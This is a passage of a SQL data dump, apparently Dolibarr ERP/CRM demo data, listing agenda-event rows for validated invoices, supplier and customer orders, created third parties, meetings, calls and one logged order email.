validé dans Dolibarr','2015-03-06 10:05:07','2021-04-15 10:22:55',1,NULL,NULL,19,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Contrat (PROV3) validé dans Dolibarr\nAuteur: admin',3,'contract',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(147,'147',NULL,1,'2015-03-06 16:43:37','2015-03-06 16:43:37',40,NULL,'Facture FA1307-0013 validée dans Dolibarr','2015-03-06 16:43:37','2021-04-15 10:22:55',1,NULL,NULL,12,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture FA1307-0013 validée dans Dolibarr\nAuteur: admin',158,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(148,'148',NULL,1,'2015-03-06 16:44:12','2015-03-06 16:44:12',40,NULL,'Facture FA1407-0014 validée dans Dolibarr','2015-03-06 16:44:12','2021-04-15 10:22:55',1,NULL,NULL,12,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture FA1407-0014 validée dans Dolibarr\nAuteur: admin',159,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(149,'149',NULL,1,'2015-03-06 16:47:48','2015-03-06 16:47:48',40,NULL,'Facture FA1507-0015 validée dans Dolibarr','2015-03-06 16:47:48','2021-04-15 10:22:55',1,NULL,NULL,12,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture FA1507-0015 validée dans Dolibarr\nAuteur: admin',160,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(150,'150',NULL,1,'2015-03-06 16:48:16','2015-03-06 16:48:16',40,NULL,'Facture FA1607-0016 validée dans Dolibarr','2015-03-06 16:48:16','2021-04-15 10:22:55',1,NULL,NULL,12,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture FA1607-0016 validée dans Dolibarr\nAuteur: admin',161,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(151,'151',NULL,1,'2015-03-06 17:13:59','2015-03-06 17:13:59',40,NULL,'Société smith smith ajoutée dans Dolibarr','2015-03-06 17:13:59','2021-04-15 10:22:55',1,NULL,NULL,24,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Société smith smith ajoutée dans Dolibarr\nAuteur: admin',24,'societe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(152,'152',NULL,1,'2015-03-08 10:02:22','2015-03-08 10:02:22',40,NULL,'Proposition (PROV12) validée dans Dolibarr','2015-03-08 10:02:22','2021-04-15 10:22:55',1,NULL,NULL,23,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Proposition (PROV12) validée dans Dolibarr\nAuteur: admin',12,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(203,'203',NULL,1,'2015-03-09 19:39:27','2015-03-09 19:39:27',40,'AC_ORDER_SUPPLIER_VALIDATE','Commande CF1303-0004 validée','2015-03-09 19:39:27','2021-04-15 10:22:55',1,NULL,NULL,1,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Commande CF1303-0004 validée\nAuteur: admin',13,'order_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(204,'204',NULL,1,'2015-03-10 15:47:37','2015-03-10 15:47:37',40,'AC_COMPANY_CREATE','Patient créé','2015-03-10 15:47:37','2021-04-15 10:22:55',1,NULL,NULL,25,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Patient créé\nAuteur: admin',25,'societe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(205,'205',NULL,1,'2015-03-10 15:57:32','2015-03-10 15:57:32',40,'AC_COMPANY_CREATE','Tiers créé','2015-03-10 15:57:32','2021-04-15 10:22:55',1,NULL,NULL,26,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Tiers créé\nAuteur: admin',26,'societe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(206,'206',NULL,1,'2015-03-10 15:58:28','2015-03-10 15:58:28',40,'AC_BILL_VALIDATE','Facture FA1303-0017 validée','2015-03-10 15:58:28','2021-04-15 10:22:55',1,NULL,NULL,26,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture FA1303-0017 validée\nAuteur: admin',208,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(207,'207',NULL,1,'2015-03-19 09:38:10','2015-03-19 09:38:10',40,'AC_BILL_VALIDATE','Facture FA1303-0018 validée','2015-03-19 09:38:10','2021-04-15 10:22:55',1,NULL,NULL,19,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture FA1303-0018 validée\nAuteur: admin',209,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(208,'208',NULL,1,'2015-03-20 14:30:11','2015-03-20 14:30:11',40,'AC_BILL_VALIDATE','Facture FA1107-0019 validée','2015-03-20 14:30:11','2021-04-15 10:22:55',1,NULL,NULL,10,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture FA1107-0019 validée\nAuteur: admin',210,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(209,'209',NULL,1,'2015-03-22 09:40:25','2015-03-22 09:40:25',40,'AC_BILL_VALIDATE','Facture FA1303-0020 validée','2015-03-22 09:40:25','2021-04-15 10:22:55',1,NULL,NULL,19,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture FA1303-0020 validée\nAuteur: admin',211,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(210,'210',NULL,1,'2015-03-23 17:16:25','2015-03-23 17:16:25',40,'AC_BILL_VALIDATE','Facture FA1303-0020 validée','2015-03-23 17:16:25','2021-04-15 10:22:55',1,NULL,NULL,19,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture FA1303-0020 validée\nAuteur: admin',211,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(211,'211',NULL,1,'2015-03-23 18:08:27','2015-03-23 18:08:27',40,'AC_BILL_VALIDATE','Facture FA1307-0013 validée','2015-03-23 18:08:27','2021-04-15 10:22:55',1,NULL,NULL,12,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture FA1307-0013 validée\nAuteur: admin',158,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(212,'212',NULL,1,'2015-03-24 15:54:00','2015-03-24 15:54:00',40,'AC_BILL_VALIDATE','Facture FA1212-0021 validée','2015-03-24 15:54:00','2021-04-15 10:22:55',1,NULL,NULL,1,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture FA1212-0021 validée\nAuteur: admin',32,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(213,'213',NULL,1,'2015-11-07 01:02:39','2015-11-07 01:02:39',40,'AC_COMPANY_CREATE','Third party created','2015-11-07 01:02:39','2021-04-15 10:22:55',1,NULL,NULL,27,NULL,0,1,0,1,0,0,-1,'',NULL,NULL,'Third party created\nAuthor: admin',27,'societe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(214,'214',NULL,1,'2015-11-07 01:05:22','2015-11-07 01:05:22',40,'AC_COMPANY_CREATE','Third party created','2015-11-07 01:05:22','2021-04-15 10:22:55',1,NULL,NULL,28,NULL,0,1,0,1,0,0,-1,'',NULL,NULL,'Third party created\nAuthor: admin',28,'societe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(215,'215',NULL,1,'2015-11-07 01:07:07','2015-11-07 01:07:07',40,'AC_COMPANY_CREATE','Third party created','2015-11-07 01:07:07','2021-04-15 10:22:55',1,NULL,NULL,29,NULL,0,1,0,1,0,0,-1,'',NULL,NULL,'Third party created\nAuthor: admin',29,'societe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(216,'216',NULL,1,'2015-11-07 01:07:58','2015-11-07 01:07:58',40,'AC_COMPANY_CREATE','Third party created','2015-11-07 01:07:58','2021-04-15 10:22:55',1,NULL,NULL,30,NULL,0,1,0,1,0,0,-1,'',NULL,NULL,'Third party created\nAuthor: admin',30,'societe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(217,'217',NULL,1,'2015-11-07 01:10:09','2015-11-07 01:10:09',40,'AC_COMPANY_CREATE','Third party created','2015-11-07 01:10:09','2021-04-15 10:22:55',1,NULL,NULL,31,NULL,0,1,0,1,0,0,-1,'',NULL,NULL,'Third party created\nAuthor: admin',31,'societe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(218,'218',NULL,1,'2015-11-07 01:15:57','2015-11-07 01:15:57',40,'AC_COMPANY_CREATE','Third party created','2015-11-07 01:15:57','2021-04-15 10:22:55',1,NULL,NULL,32,NULL,0,1,0,1,0,0,-1,'',NULL,NULL,'Third party created\nAuthor: admin',32,'societe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(219,'219',NULL,1,'2015-11-07 01:16:51','2015-11-07 01:16:51',40,'AC_COMPANY_CREATE','Third party created','2015-11-07 01:16:51','2021-04-15 10:22:55',1,NULL,NULL,33,NULL,0,1,0,1,0,0,-1,'',NULL,NULL,'Third party created\nAuthor: admin',33,'societe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(220,'220',NULL,1,'2016-03-02 17:24:04','2016-03-02 17:24:04',40,'AC_BILL_VALIDATE','Invoice FA1302-0022 validated','2016-03-02 17:24:04','2021-04-15 10:22:55',1,NULL,NULL,18,NULL,0,1,0,1,0,0,-1,'',NULL,NULL,'Invoice FA1302-0022 validated\nAuthor: admin',157,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(221,'221',NULL,1,'2016-03-02 17:24:28','2016-03-02 17:24:28',40,'AC_BILL_VALIDATE','Invoice FA1303-0020 validated','2016-03-02 17:24:28','2021-04-15 10:22:55',1,NULL,NULL,19,NULL,0,1,0,1,0,0,-1,'',NULL,NULL,'Invoice FA1303-0020 validated\nAuthor: admin',211,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(222,'222',NULL,1,'2016-03-05 10:00:00','2016-03-05 10:00:00',5,NULL,'RDV John','2016-03-02 19:54:48','2021-04-15 10:22:55',1,1,NULL,NULL,NULL,0,1,0,NULL,0,0,-1,NULL,NULL,NULL,'gfdgdfgdf',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(223,'223',NULL,1,'2016-03-13 10:00:00','2016-03-17 00:00:00',50,NULL,'Congress','2016-03-02 19:55:11','2021-04-15 10:22:55',1,NULL,NULL,NULL,NULL,0,1,0,NULL,0,0,-1,'',309600,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(224,'224',NULL,1,'2016-03-14 10:00:00',NULL,1,NULL,'Call john','2016-03-02 19:55:56','2021-04-15 10:22:55',1,NULL,NULL,NULL,NULL,0,1,0,NULL,0,0,0,'',NULL,NULL,'tttt',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(225,'225',NULL,1,'2016-03-02 20:11:31','2016-03-02 20:11:31',40,'AC_BILL_UNVALIDATE','Invoice FA1303-0020 go back to draft status','2016-03-02 20:11:31','2021-04-15 10:22:55',1,NULL,NULL,19,NULL,0,1,0,1,0,0,-1,'',NULL,NULL,'Invoice FA1303-0020 go back to draft status\nAuthor: admin',211,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(226,'226',NULL,1,'2016-03-02 20:13:39','2016-03-02 20:13:39',40,'AC_BILL_VALIDATE','Invoice FA1303-0020 validated','2016-03-02 20:13:39','2021-04-15 10:22:55',1,NULL,NULL,19,NULL,0,1,0,1,0,0,-1,'',NULL,NULL,'Invoice FA1303-0020 validated\nAuthor: admin',211,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(227,'227',NULL,1,'2016-03-03 19:20:10','2016-03-03 19:20:10',40,'AC_BILL_VALIDATE','Invoice FA1212-0023 validated','2016-03-03 19:20:10','2021-04-15 10:22:55',1,NULL,NULL,1,NULL,0,1,0,1,0,0,-1,'',NULL,NULL,'Invoice FA1212-0023 validated\nAuthor: admin',33,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(228,'228',NULL,1,'2016-03-03 19:20:25','2016-03-03 19:20:25',40,'AC_BILL_CANCEL','Invoice FA1212-0023 canceled in Dolibarr','2016-03-03 19:20:25','2021-04-15 10:22:55',1,NULL,NULL,1,NULL,0,1,0,1,0,0,-1,'',NULL,NULL,'Invoice FA1212-0023 canceled in Dolibarr\nAuthor: admin',33,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(229,'229',NULL,1,'2016-03-03 19:20:56','2016-03-03 19:20:56',40,'AC_BILL_VALIDATE','Invoice AV1403-0003 validated','2016-03-03 19:20:56','2021-04-15 10:22:55',1,NULL,NULL,1,NULL,0,1,0,1,0,0,-1,'',NULL,NULL,'Invoice AV1403-0003 validated\nAuthor: admin',212,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(230,'230',NULL,1,'2016-03-03 19:21:29','2016-03-03 19:21:29',40,'AC_BILL_UNVALIDATE','Invoice AV1403-0003 go back to draft status','2016-03-03 19:21:29','2021-04-15 10:22:55',1,NULL,NULL,1,NULL,0,1,0,1,0,0,-1,'',NULL,NULL,'Invoice AV1403-0003 go back to draft status\nAuthor: admin',212,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(231,'231',NULL,1,'2016-03-03 19:22:16','2016-03-03 19:22:16',40,'AC_BILL_VALIDATE','Invoice AV1303-0003 validated','2016-03-03 19:22:16','2021-04-15 10:22:55',1,NULL,NULL,1,NULL,0,1,0,1,0,0,-1,'',NULL,NULL,'Invoice AV1303-0003 validated\nAuthor: admin',213,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(232,'232',NULL,1,'2018-01-22 18:54:39','2018-01-22 18:54:39',40,'AC_OTH_AUTO','Invoice 16 validated','2018-01-22 18:54:39','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Invoice 16 validated\nAuthor: admin',16,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(233,'233',NULL,1,'2018-01-22 18:54:46','2018-01-22 18:54:46',40,'AC_OTH_AUTO','Invoice 16 validated','2018-01-22 18:54:46','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Invoice 16 validated\nAuthor: admin',16,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(234,'234',NULL,1,'2018-07-05 10:00:00','2018-07-05 11:19:00',5,'AC_RDV','Meeting with my boss','2018-07-31 18:19:48','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,1,NULL,0,0,-1,'',4740,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(235,'235',NULL,1,'2018-07-13 00:00:00','2018-07-14 23:59:59',50,'AC_OTH','Trip at Las Vegas','2018-07-31 18:20:36','2021-04-15 10:22:55',12,NULL,4,NULL,2,0,12,1,NULL,0,1,-1,'',172799,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(236,'236',NULL,1,'2018-07-29 10:00:00',NULL,4,'AC_EMAIL','Remind to send an email','2018-07-31 18:21:04','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,4,0,NULL,0,0,-1,'',NULL,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(237,'237',NULL,1,'2018-07-01 10:00:00',NULL,1,'AC_TEL','Phone call with Mr Vaalen','2018-07-31 18:22:04','2021-04-15 10:22:55',12,NULL,6,4,NULL,0,13,0,NULL,0,0,-1,'',NULL,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(238,'238',NULL,1,'2018-08-02 10:00:00','2018-08-02 12:00:00',5,'AC_RDV','Meeting on radium','2018-08-01 01:15:50','2021-04-15 10:22:55',12,NULL,8,10,10,0,12,1,NULL,0,0,-1,'',7200,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(239,'239',NULL,1,'2017-01-29 21:49:33','2017-01-29 21:49:33',40,'AC_OTH_AUTO','Proposal PR1302-0007 validated','2017-01-29 21:49:33','2021-04-15 10:22:55',12,NULL,NULL,19,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Proposal PR1302-0007 validated\nAuthor: admin',7,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(240,'240',NULL,1,'2017-01-31 20:52:00',NULL,1,'AC_TEL','Call the boss','2017-01-31 20:52:10','2021-04-15 10:22:55',12,12,6,NULL,NULL,0,12,1,NULL,0,0,-1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(242,'242',NULL,1,'2017-02-01 18:52:04','2017-02-01 18:52:04',40,'AC_OTH_AUTO','Order CF1007-0001 validated','2017-02-01 18:52:04','2021-04-15 10:22:55',12,NULL,NULL,13,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CF1007-0001 validated\nAuthor: admin',1,'order_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(243,'243',NULL,1,'2017-02-01 18:52:04','2017-02-01 18:52:04',40,'AC_OTH_AUTO','Order CF1007-0001 approved','2017-02-01 18:52:04','2021-04-15 10:22:55',12,NULL,NULL,13,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CF1007-0001 approved\nAuthor: admin',1,'order_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(245,'245',NULL,1,'2017-02-01 18:52:32','2017-02-01 18:52:32',40,'AC_OTH_AUTO','Supplier order CF1007-0001 submited','2017-02-01 18:52:32','2021-04-15 10:22:55',12,NULL,NULL,13,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Supplier order CF1007-0001 submited\nAuthor: admin',1,'order_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(249,'249',NULL,1,'2017-02-01 18:54:01','2017-02-01 18:54:01',40,'AC_OTH_AUTO','Supplier order CF1007-0001 received','2017-02-01 18:54:01','2021-04-15 10:22:55',12,NULL,NULL,13,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Supplier order CF1007-0001 received \nAuthor: admin',1,'order_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(250,'250',NULL,1,'2017-02-01 18:54:42','2017-02-01 18:54:42',40,'AC_OTH_AUTO','Email sent by MyBigCompany To mycustomer@example.com','2017-02-01 18:54:42','2021-04-15 10:22:55',12,NULL,NULL,13,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Sender: MyBigCompany <myemail@mybigcompany.com>
\nReceiver(s): mycustomer@example.com
\nEMail topic: Submission of order CF1007-0001
\nEmail body:
\nYou will find here our order CF1007-0001
\r\n
\r\nSincerely
\n
\nAttached files and documents: CF1007-0001.pdf',1,'order_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(251,'251',NULL,1,'2017-02-01 19:02:21','2017-02-01 19:02:21',40,'AC_OTH_AUTO','Invoice SI1702-0001 validated','2017-02-01 19:02:21','2021-04-15 10:22:55',12,NULL,5,13,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Invoice SI1702-0001 validated\nAuthor: admin',20,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(252,'252',NULL,1,'2017-02-12 23:17:04','2017-02-12 23:17:04',40,'AC_OTH_AUTO','Patient créé','2017-02-12 23:17:04','2021-04-15 10:22:55',12,NULL,NULL,26,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Patient créé\nAuthor: admin',26,'societe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(253,'253',NULL,1,'2017-02-12 23:18:33','2017-02-12 23:18:33',40,'AC_OTH_AUTO','Consultation 2 recorded (aaa)','2017-02-12 23:18:33','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Consultation 2 recorded (aaa)\nAuthor: admin',2,'cabinetmed_cons',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(254,'254',NULL,1,'2017-02-15 23:28:41','2017-02-15 23:28:41',40,'AC_OTH_AUTO','Order CO7001-0005 validated','2017-02-15 23:28:41','2021-04-15 10:22:55',12,NULL,NULL,4,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0005 validated\nAuthor: admin',7,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(255,'255',NULL,1,'2017-02-15 23:28:56','2017-02-15 23:28:56',40,'AC_OTH_AUTO','Order CO7001-0006 validated','2017-02-15 23:28:56','2021-04-15 10:22:55',12,NULL,NULL,4,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0006 validated\nAuthor: admin',8,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(256,'256',NULL,1,'2017-02-15 23:34:33','2017-02-15 23:34:33',40,'AC_OTH_AUTO','Order CO7001-0007 validated','2017-02-15 23:34:33','2021-04-15 10:22:55',12,NULL,NULL,3,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0007 validated\nAuthor: admin',9,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(257,'257',NULL,1,'2017-02-15 23:35:03','2017-02-15 23:35:03',40,'AC_OTH_AUTO','Order CO7001-0008 validated','2017-02-15 23:35:03','2021-04-15 10:22:55',12,NULL,NULL,3,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0008 validated\nAuthor: admin',10,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(263,'263',NULL,1,'2017-02-15 23:50:34','2017-02-15 23:50:34',40,'AC_OTH_AUTO','Order CO7001-0005 validated','2017-02-15 23:50:34','2021-04-15 10:22:55',12,NULL,NULL,4,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0005 validated\nAuthor: admin',17,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(264,'264',NULL,1,'2017-02-15 23:51:23','2017-02-15 23:51:23',40,'AC_OTH_AUTO','Order CO7001-0006 validated','2017-02-15 23:51:23','2021-04-15 10:22:55',12,NULL,NULL,7,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0006 validated\nAuthor: admin',18,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(265,'265',NULL,1,'2017-02-15 23:54:51','2017-02-15 23:54:51',40,'AC_OTH_AUTO','Order CO7001-0007 validated','2017-02-15 23:54:51','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0007 validated\nAuthor: admin',19,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(266,'266',NULL,1,'2017-02-15 23:55:52','2017-02-15 23:55:52',40,'AC_OTH_AUTO','Order CO7001-0007 validated','2017-02-15 23:55:52','2021-04-15 10:22:55',12,NULL,NULL,4,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0007 validated\nAuthor: admin',20,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(267,'267',NULL,1,'2017-02-16 00:03:44','2017-02-16 00:03:44',40,'AC_OTH_AUTO','Order CO7001-0008 validated','2017-02-16 00:03:44','2021-04-15 10:22:55',12,NULL,NULL,4,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0008 validated\nAuthor: admin',29,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(268,'268',NULL,1,'2017-02-16 00:05:01','2017-02-16 00:05:01',40,'AC_OTH_AUTO','Order CO7001-0009 validated','2017-02-16 00:05:01','2021-04-15 10:22:55',12,NULL,NULL,11,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0009 validated\nAuthor: admin',34,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(269,'269',NULL,1,'2017-02-16 